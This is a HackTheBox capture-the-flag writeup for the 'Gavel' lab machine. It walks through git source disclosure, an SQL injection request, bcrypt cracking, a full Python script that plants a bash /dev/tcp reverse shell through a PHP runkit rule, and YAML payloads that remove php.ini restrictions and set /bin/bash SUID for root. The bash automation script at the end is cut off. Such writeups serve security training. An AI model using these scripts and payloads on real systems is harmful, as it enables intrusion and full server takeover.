Gavel
Writeup for HackTheBox Gavel machine
Executive Summary
This comprehensive writeup documents the complete exploitation of the Gavel machine. The attack chain exploits multiple severe vulnerabilities ranging from source code disclosure to dynamic code execution, leading to full system compromise.
Attack Chain Summary:
- Source Code Disclosure: Directory fuzzing uncovered an exposed
.gitdirectory in the web root. Usinggit-dumper, the complete application source code was extracted, enabling local code review. - SQL Injection (Credential Extraction): Source code analysis revealed a second-order SQL injection vulnerability in
inventory.phpcaused by improper sanitization of the$sortItemparameter. This was exploited to extract theauctioneeruser’s bcrypt password hash, which was subsequently cracked offline. - Remote Code Execution (RCE): With
auctioneercredentials, the admin panel was accessed. A vulnerability inbid_watcher.phpwas discovered where the application usedrunkit_function_add()to dynamically evaluate user-supplied bidding rules as PHP code. Injecting a malicious rule and triggering it via a bid resulted in a reverse shell aswww-data. - Privilege Escalation to Root: The
auctioneeruser belonged to thegavel-sellergroup, granting access to thegavel-utilbinary. This utility submitted YAML files to thegavelddaemon running asroot. While the daemon restricted PHP execution via a customphp.ini, an attacker could submit a YAML payload to overwrite thephp.inifile (removing all restrictions) usingfile_put_contents(), and then submit a second payload to execute system commands, effectively making/bin/bashSUID root.
Impact: Complete system compromise. An unauthenticated attacker can exploit the web application to gain initial access and escalate to root, gaining full control over the underlying server and its sensitive data.
Phase 1: Reconnaissance
Nmap Service Enumeration
The initial phase involves identifying open ports and running services on the target system. We perform a comprehensive port scan to enumerate all available services.
Fast Port Discovery:
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ port=$(sudo nmap -p- $ip --min-rate 10000 | grep open | cut -d'/' -f1 | tr '\n' ',')
This command performs an aggressive port scan across all 65535 ports using a high packet rate (10000 packets/min) for speed. The output is parsed to extract port numbers from open services and formats them as a comma-separated list.
Detailed Service Scanning:
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ sudo nmap -sC -sV -vv -p $port $ip -oN nmap.scan
The -sC flag runs default NSE scripts, -sV detects service versions, and -vv provides verbose output with extended information.
Nmap Results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.129.55.31
Host is up, received echo-reply ttl 63 (0.25s latency).
Scanned at 2025-11-30 08:44:06 PKT for 14s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
| 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key Findings:
- Port 22 (SSH): OpenSSH 8.9p1 running on Ubuntu - useful for post-exploitation access
- Port 80 (HTTP): Apache httpd 2.4.52 hosting the Gavel application with a redirect to
gavel.htb
The HTTP server redirects requests to gavel.htb, requiring us to add a local DNS entry for proper name resolution.
DNS Configuration
To access the application via its hostname, we add an entry to the local /etc/hosts file:
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ echo 'ip gavel.htb' | sudo tee -a /etc/hosts
This command appends a DNS resolution entry, mapping the IP address to gavel.htb.
Phase 2: Web Application Analysis
Initial Web Application Discovery
After accessing the application, we register a test user and log in to explore the application functionality. The Gavel application is an online auction system with the following features:
- Bidding Endpoint: Allows users to place bids on active auctions
- Inventory Endpoint: Displays items available in user inventory with sorting and filtering capabilities
Initial testing of the bidding endpoint reveals input validation is present, making it less directly vulnerable. Our reconnaissance shifts to discovering additional endpoints through directory enumeration.
Endpoint Discovery via Directory Fuzzing
We utilize gobuster to perform directory enumeration against the web server, searching for hidden endpoints and directories that might reveal additional attack surfaces:
Gobuster Command Execution:
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ gobuster dir --url http://gavel.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -b 400-404,503 -t 40
Gobuster Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gavel.htb/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 400,401,402,403,404,503
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/includes (Status: 301) [Size: 309] [--> http://gavel.htb/includes/]
/assets (Status: 301) [Size: 307] [--> http://gavel.htb/assets/]
/rules (Status: 301) [Size: 306] [--> http://gavel.htb/rules/]
/.git (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
Critical Discovery: Exposed .git Repository
The enumeration reveals a critical security misconfiguration — the .git directory is publicly accessible. This is one of the most severe vulnerabilities in web applications, as it allows attackers to download the entire application source code, revealing hardcoded secrets, logic vulnerabilities, and internal structure.
Source Code Extraction via Git Dumping
We use the git-dumper tool to extract the complete application source code from the exposed .git directory:
Git Dumping:
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ git-dumper http://gavel.htb/.git sourcefiles
This tool downloads all objects and refs from the remote git repository, allowing us to reconstruct the complete application source code locally.
Extracted Files:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ ls -la sourcefiles
-rwxrwxr-x 1 kali kali 8820 Dec 3 09:01 admin.php
drwxrwxr-x 6 kali kali 4096 Dec 3 09:01 assets
-rwxrwxr-x 1 kali kali 8441 Dec 3 09:01 bidding.php
drwxrwxr-x 7 kali kali 4096 Dec 3 09:01 .git
drwxrwxr-x 2 kali kali 4096 Dec 3 09:01 includes
-rwxrwxr-x 1 kali kali 14520 Dec 3 09:01 index.php
-rwxrwxr-x 1 kali kali 8384 Dec 3 09:01 inventory.php
-rwxrwxr-x 1 kali kali 6408 Dec 3 09:01 login.php
-rwxrwxr-x 1 kali kali 161 Dec 3 09:01 logout.php
-rwxrwxr-x 1 kali kali 7058 Dec 3 09:01 register.php
drwxrwxr-x 2 kali kali 4096 Dec 3 09:01 rules
Having access to the complete source code, we now analyze it for security vulnerabilities.
Phase 3: Vulnerability Discovery and Exploitation
SQL Injection in Inventory Endpoint
Through source code analysis of inventory.php, we identify a critical SQL injection vulnerability. The application improperly handles the sort parameter without proper sanitization:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
foreach ($results as $row) {
$firstKey = array_keys($row)[0];
$name = $row['item_name'] ?? $row[$firstKey] ?? null;
if (!$name) {
continue;
}
$meta = [];
try {
$itemMeta->execute([$name]);
$meta = $itemMeta->fetch(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$meta = [];
}
$itemMap[$name] = [
'name' => $name ?? "",
'description' => $meta['description'] ?? "",
'image' => $meta['image'] ?? "",
'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
];
}
Vulnerability Root Cause:
The vulnerability exists in this critical line:
1
"SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC"
The $col variable is constructed from the user-controlled $sortItem parameter with insufficient sanitization. The developer attempts to prevent backtick injection by using str_replace("”, “”, $sortItem)`, but this is insufficient because:
- SQL injection can occur without backticks using other SQL constructs
- The developer then directly interpolates this variable into the SQL query string
- This creates a classic second-order SQL injection where user input is directly embedded in the query
Exploitation: Credential Extraction via SQL Injection
We craft a POST request that exploits this vulnerability to extract user credentials from the database:
Crafted HTTP Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /inventory.php HTTP/1.1
Host: gavel.htb
Content-Length: 103
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://gavel.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/inventory.php
Accept-Encoding: gzip, deflate, br
Cookie: gavel_session=jfj1c4p5qcrdq8leaa4nk9s47h
Connection: keep-alive
user_id=loot`+FROM+(SELECT+json_array(username,password)+AS+`%27loot`+FROM+users)alias;--+-+&sort=\?;--
Payload Breakdown:
- The
sortparameter is set to\?;--which creates a comment in SQL, effectively nullifying the rest of the query - The
user_idparameter contains the injection:loot+ FROM (SELECT json_array(username,password) AS'lootFROM users)alias;– - This injects a UNION-based query that extracts username and password from the
userstable in JSON format - The retrieved data is displayed in the response as part of the inventory query result
Extracted Credentials Response:
Hash Cracking and Password Recovery
The SQL injection reveals a bcrypt password hash for the auctioneer user. We identify the hash type and crack it to obtain cleartext credentials:
Hash Type Identification:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ hashid '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS'
Analyzing '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
Offline Hash Cracking:
The hash is identified as bcrypt. We use John the Ripper with the common rockyou.txt wordlist:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ john auctioneer.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any key for status
midnight1 (auctioneer)
Result: auctioneer:midnight1
Phase 4: Remote Code Execution via Unsafe PHP Evaluation
Admin Panel Access
After logging in with the auctioneer credentials, we gain access to the admin panel. This restricted interface allows administrators to modify bidding rules for active auctions, a critical administrative function:
Unsafe Dynamic Function Creation Vulnerability
Examining the code in includes/bid_watcher.php reveals a critical code execution vulnerability using PHP’s runkit extension:
1
2
3
4
5
6
7
8
9
10
11
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
Vulnerability Analysis:
The application uses PHP’s dangerous runkit_function_add() to dynamically create a function at runtime using the $rule variable obtained directly from user input (the rule text field in the admin panel). The developer fails to sanitize, validate, or restrict this input before injecting it into the PHP function body, allowing arbitrary PHP code execution.
Attack Flow:
- Attacker with admin credentials sets a malicious rule containing arbitrary PHP code
- The rule is stored in the database without validation
- When any user places a bid on an auction with that rule, the
bid_watcher.phpcode is executed - The malicious rule is injected into the dynamically created
ruleCheck()function - The function is executed with full web server privileges (
www-data)
RCE Exploitation Strategy
The exploitation requires two user sessions:
- Admin Session (auctioneer): To inject the malicious rule into an active auction
- Regular User Session (new user): To trigger the rule execution by placing a bid
Automated Exploitation Script
The following Python script automates the complete exploitation chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/env python3
"""
Gavel HTB - Complete Auto Shell Exploit
Creates user, logs in as both users, and gets shell
"""
import requests
import sys
import re
import argparse
import random
import string
class GavelExploit:
def __init__(self, target, lhost, lport):
self.target = target.rstrip('/')
self.lhost = lhost
self.lport = lport
# Hardcoded auctioneer credentials (obtained from SQL injection)
self.auctioneer_user = "auctioneer"
self.auctioneer_pass = "midnight1"
self.admin_cookie = None
self.user_cookie = None
def register_user(self, username, password):
"""Register a new user on the target application"""
print(f"[*] Registering user: {username}")
session = requests.Session()
data = {
'username': username,
'password': password,
'confirm_password': password
}
r = session.post(f'{self.target}/register.php', data=data)
print(f"[+] User registered: {username}:{password}")
return True
def login_user(self, username, password):
"""Login as user and extract session cookie"""
print(f"[*] Logging in as: {username}")
session = requests.Session()
data = {
'username': username,
'password': password
}
r = session.post(f'{self.target}/login.php', data=data)
cookie = session.cookies.get('gavel_session')
if cookie:
print(f"[+] Logged in successfully")
print(f"[+] Cookie: {cookie}")
return cookie
print("[-] Login failed")
return None
def get_active_auction(self, cookie):
"""Retrieve ID of the currently active auction"""
print("[*] Finding active auction...")
r = requests.get(f'{self.target}/bidding.php',
cookies={'gavel_session': cookie})
matches = re.findall(r'name="auction_id" value="(\d+)"', r.text)
if matches:
auction_id = matches[0]
print(f"[+] Active auction ID: {auction_id}")
return auction_id
print("[-] No active auctions found")
return None
def inject_payload(self, auction_id):
"""Inject reverse shell payload into auction rule via admin panel"""
print(f"[*] Injecting reverse shell to {self.lhost}:{self.lport}...")
# Payload: Create reverse bash shell using /dev/tcp
payload = f'return system("bash -c \'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1\'");'
data = {
'auction_id': auction_id,
'rule': payload,
'message': 'Invalid bid'
}
r = requests.post(f'{self.target}/admin.php',
cookies={'gavel_session': self.admin_cookie},
data=data)
print("[+] Payload injected!")
return True
def trigger_shell(self, auction_id):
"""Trigger shell by placing a bid (executes the injected rule)"""
print("[*] Triggering shell by placing bid...")
data = {
'auction_id': auction_id,
'bid_amount': '10000'
}
r = requests.post(f'{self.target}/includes/bid_handler.php',
cookies={'gavel_session': self.user_cookie},
data=data)
try:
result = r.json()
print(f"[*] Response: {result}")
except:
print("[*] Shell triggered!")
return True
def exploit(self, username, password):
"""Execute complete exploitation chain"""
print("="*70)
print("Gavel HTB - Auto Shell Exploit")
print("="*70)
print(f"Target: {self.target}")
print(f"Listener: {self.lhost}:{self.lport}")
print("="*70)
# Step 1: Register and login as regular user
self.register_user(username, password)
self.user_cookie = self.login_user(username, password)
if not self.user_cookie:
print("[-] Failed to get user session")
return False
print()
# Step 2: Login as auctioneer (admin)
self.admin_cookie = self.login_user(self.auctioneer_user, self.auctioneer_pass)
if not self.admin_cookie:
print("[-] Failed to get admin session")
return False
print()
# Step 3: Get active auction ID
auction_id = self.get_active_auction(self.user_cookie)
if not auction_id:
print("[-] No active auctions")
return False
print()
# Step 4: Inject malicious payload
self.inject_payload(auction_id)
print()
# Step 5: Trigger payload execution
self.trigger_shell(auction_id)
print()
print("="*70)
print("[!] Check your listener for shell!")
print(f"[!] Run: nc -lvnp {self.lport}")
print("="*70)
return True
def main():
parser = argparse.ArgumentParser(description='Gavel HTB Auto Shell Exploit')
parser.add_argument('target', help='Target URL (e.g., http://gavel.htb)')
parser.add_argument('lhost', help='Your IP address')
parser.add_argument('lport', help='Listener port')
parser.add_argument('--user', default=None, help='Username (default: random)')
parser.add_argument('--password', default='Password123!', help='Password (default: Password123!)')
args = parser.parse_args()
# Generate random username if not provided
if not args.user:
args.user = 'user_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
exploit = GavelExploit(args.target, args.lhost, args.lport)
exploit.exploit(args.user, args.password)
if __name__ == "__main__":
main()
Running the Exploit
Step 1: Set up a listener on the attack machine
1
2
3
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
Step 2: Execute the exploitation script
1
2
┌──(kali㉿kali)-[~/HTB/Linux/Gavel]
└─$ python3 rce.py http://gavel.htb/ your_ip 4444 --user newuser --password password123
Step 3: Receive/Upgrade the reverse shell
We have achieved remote code execution as the www-data user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
connect to [10.10.14.7] from (UNKNOWN) [10.129.227.4] 38754
bash: cannot set terminal process group (1055): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ script -c bash /dev/null
# Press Ctrl + Z (background the process)
┌──(kali㉿kali)-[~]
└─$ stty -echo raw; fg
reset
# Type 'screen' when prompted for terminal type
# Set proper terminal dimensions. Check your terminal dimension through command stty -a
www-data@gavel:/var/www/html/gavel/includes$ stty rows 37 cols 145
www-data@gavel:/var/www/html/gavel/includes$ export TERM=xterm
Phase 5: Post-Exploitation and Lateral Movement
System Reconnaissance
Once we have shell access, we enumerate the system to identify additional users, system configuration, and potential privilege escalation vectors:
User Enumeration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
www-data@gavel:/var/www/html/gavel/includes$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/usr/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/usr/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
syslog:x:106:113::/home/syslog:/usr/sbin/nologin
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
tss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/false
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
mysql:x:110:119:MySQL Server,,,:/nonexistent:/bin/false
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
Key Observation: The auctioneer user has a bash shell and a home directory, making it a potential target for privilege escalation.
Home Directory Listing:
1
2
www-data@gavel:/var/www/html/gavel/includes$ ls -l /home
drwxr-x--- 2 auctioneer auctioneer 4096 Nov 5 12:46 auctioneer
Lateral Movement to auctioneer User
Since we extracted the auctioneer credentials earlier (midnight1), we can switch to this user directly:
Switching User Context:
1
2
3
4
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password: midnight1
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Note: The shell prompt may disappear when switching users in this context.
Capture the user flag:
1
2
$ cat /home/auctioneer/user.txt
***********db1732bb32c4ba49e01d
Phase 6: Privilege Escalation to Root
Discovering Group-Based Privilege Escalation
The auctioneer user has an interesting group membership. In addition to the default auctioneer group, the user is also part of the gavel-seller group (GID 1001):
1
2
3
4
5
$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
$ groups
auctioneer gavel-seller
This group-based membership suggests special permissions. Let’s find all files owned by the gavel-seller group:
Finding Group-Writable Files:
1
2
$ find / -type f -group gavel-seller -ls 2>/dev/null
-rwxr-xr-x 1 root gavel-seller 17688 Oct 3 19:35 /usr/local/bin/gavel-util
Key Discovery: The gavel-util binary is owned by root but has read/execute permissions for the gavel-seller group. This is a classic privilege escalation vector.
Analyzing gavel-util Binary
Binary Information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ gavel-util -h
Usage: gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
$ gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================
[Active Auctions]
ID Item Name Current Bid Ends In
2473 Cursed Mirror Shard 1320 02:25
2474 Time-Traveling Spoon 1989 02:32
2475 Scroll of Scroll Summoning 934 02:32
[Recently Ended Auctions]
ID Item Name Final Price Winner
2471 Scroll of Scroll Summoning 727 None
2472 Goblin Employment Contract 1299 None
2470 Scroll of Scroll Summoning 866 None
Error Handling Test:
1
2
$ gavel-util invoice
{"status":"err","msg":"Cannot open log"}
The submit command is particularly interesting as it accepts a YAML file. Let’s investigate what happens with submitted items.
Discovering the Gavel Daemon
Process Analysis:
1
2
3
4
$ ps aux | grep gavel
root 999 0.0 0.0 19128 3940 ? Ss Dec01 0:00 /opt/gavel/gaveld
root 1006 0.2 0.4 27808 18540 ? Ss Dec01 6:33 python3 /root/scripts/timeout_gavel.py
root 433294 0.0 0.0 0 0 ? Z 05:27 0:00 [gaveld] <defunct>
The gaveld daemon is running with root privileges. This daemon likely processes items submitted via gavel-util.
Daemon Configuration:
1
2
3
4
5
6
7
$ ls -la /opt/gavel
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxrwxr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
PHP Configuration Analysis:
The gaveld daemon uses a custom PHP configuration file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Critical Observations:
- All dangerous PHP functions are disabled:
exec,shell_exec,system,eval, etc. - The
open_basediris restricted to/opt/gaveldirectory only - These restrictions are designed to prevent code execution
Sample YAML Format:
1
2
3
4
5
6
7
8
9
$ cat /opt/gavel/sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
The submit command accepts YAML files that define new auction items, including custom PHP rules similar to the web interface vulnerability.
Exploiting PHP Configuration via YAML Submission
Since the gaveld daemon processes submitted YAML files, we can craft malicious YAML files that exploit the same runkit vulnerability used earlier, but this time within the daemon’s restricted PHP environment.
Strategy: The key insight is that gavel-util (root-owned, group-executable) processes files submitted by group members. If we submit YAML files with PHP code in the rule field, the daemon will execute that code. However, we need to bypass the PHP restrictions in /opt/gavel/.config/php/php.ini.
Step 1: Overwrite PHP Configuration
We create a YAML file that exploits the daemon to overwrite the PHP configuration file, removing all restrictions:
Create INI Overwrite Payload:
1
2
3
4
5
6
7
8
9
10
11
12
$ cd /tmp && mkdir pwn_exploit && cd pwn_exploit
$ cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
EOF_INI
Verification:
1
2
3
4
5
6
7
8
9
$ cat ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
Submit the Payload:
1
2
$ /usr/local/bin/gavel-util submit ini_overwrite.yaml
Item submitted for review in next auction
Wait for Processing: The daemon processes submissions periodically. Give it a few seconds to execute.
Step 2: Execute System Commands
Once the PHP configuration is overwritten and restrictions removed, we create a second YAML file that executes system commands with root privileges:
Create SUID Binary Payload:
1
2
3
4
5
6
7
8
9
10
$ cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
system("chmod u+s /bin/bash");
return false;
EOF_SUID
Verification:
1
2
3
4
5
6
7
8
9
$ cat root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
system("chmod u+s /bin/bash");
return false;
Submit the Payload:
1
2
$ /usr/local/bin/gavel-util submit root_suid.yaml
Item submitted for review in next auction
Step 3: Exploit the SUID Binary
After the daemon processes the payload, /bin/bash will have the setuid bit set, allowing us to execute bash as root:
Check Permission Change:
1
2
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
The s in the permission string indicates the setuid bit is set. We can now execute bash with root privileges:
Spawn Root Shell:
1
$ /bin/bash -p
The -p flag tells bash to run in privileged mode, maintaining the root effective UID.
Verify Root Access:
1
2
$ id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
Notice that euid=0(root) confirms we have effective root privileges while maintaining our real UID. This is exactly what the SUID bit provides.
Capture Root Flag:
1
2
$ cat /root/root.txt
************dea2bf21079e088c4a70
Automated Privilege Escalation Script
For convenience and reproducibility, here’s a complete bash script that automates the entire privilege escalation process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
echo "[*] Screw Gavel Root Exploit"
echo "[*] Stand-by..."
WORKDIR="/tmp/pwn_$(date +%s)"
mkdir -p "$WORKDIR"
cd "$WORKDIR"
echo "[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir..."
cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
EOF_INI
/usr/local/bin/gavel-util submit ini_overwrite.yaml
echo "[*] Config overwrite submitted. Waiting 5 seconds for stability..."
sleep 5
echo "[*] Step 2: Triggering system() to SUID /bin/bash..."
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
